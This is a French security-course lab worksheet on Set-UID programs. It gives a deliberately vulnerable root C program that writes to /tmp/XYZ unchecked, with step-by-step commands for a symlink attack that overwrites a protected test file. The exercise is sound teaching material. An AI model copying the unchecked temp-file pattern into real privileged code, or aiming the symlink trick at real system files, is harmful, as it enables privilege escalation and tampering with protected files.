TP 3 - Suite

Les variables d'environnement et les programmes Set-UID

2. Application

2.9. Programmes Set-UID et fichier temporaire dans /tmp

Objectif

Programme Set-UID root qui écrit dans /tmp/XYZ sans aucune vérification.

L'attaquant crée un **lien symbolique** /tmp/XYZ vers un fichier sensible.

Quand le programme Set-UID écrit dans /tmp/XYZ, il modifie en fait le fichier cible avec les droits root.

Programme vulnérable

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  FILE *fp;
  char *msg;

  if (argc < 2) {
    fprintf(stderr, "Usage: %s <message>\n", argv[0]);
    exit(1);
  }

  msg = argv[1];

  fp = fopen("/tmp/XYZ", "a+");
  if (!fp) {
    perror("fopen");
    exit(1);
  }

  fprintf(fp, "%s\n", msg);
  fclose(fp);

  printf("Message écrit dans /tmp/XYZ\n");
  return 0;
}
```

Code 5 : vul_tmp.c

- Compilez et exécutez ce programme.
- Changez son propriétaire en root, et faites-en un programme Set-UID

Étape 1 – Comportement normal

- Vérifier les droits du fichier binaire.
- Exécuter-le
- Qu'est-ce que vous constatez ?

Étape 2 – Préparer une cible « sensible »

Pour éviter de toucher à de vrais fichiers système, on crée un fichier protégé de test :

```
sudo touch /root/secret_log
sudo chmod 600 /root/secret_log    # seul root peut écrire
```

Essayez d'écrire dedans directement :

```
echo "ATTACKER" >> /root/secret_log   # devrait donner Permission denied
```

Étape 3 – Exploitation via lien symbolique

- Supprimer l'ancien /tmp/XYZ s'il existe :

  ```
  rm -f /tmp/XYZ
  ```

- Créer un lien symbolique /tmp/XYZ → /root/secret_log :

  ```
  ln -s /root/secret_log /tmp/XYZ
  ```

- Lancer le programme Set-UID :

  ```
  ./vuln_tmp "HACKED BY STUDENT"
  ```

- Vérifier côté root (ou via un sudo cat) que le contenu de /root/secret_log a changé :

  ```
  sudo cat /root/secret_log
  ```

- Qu'est-ce que vous remarquez ?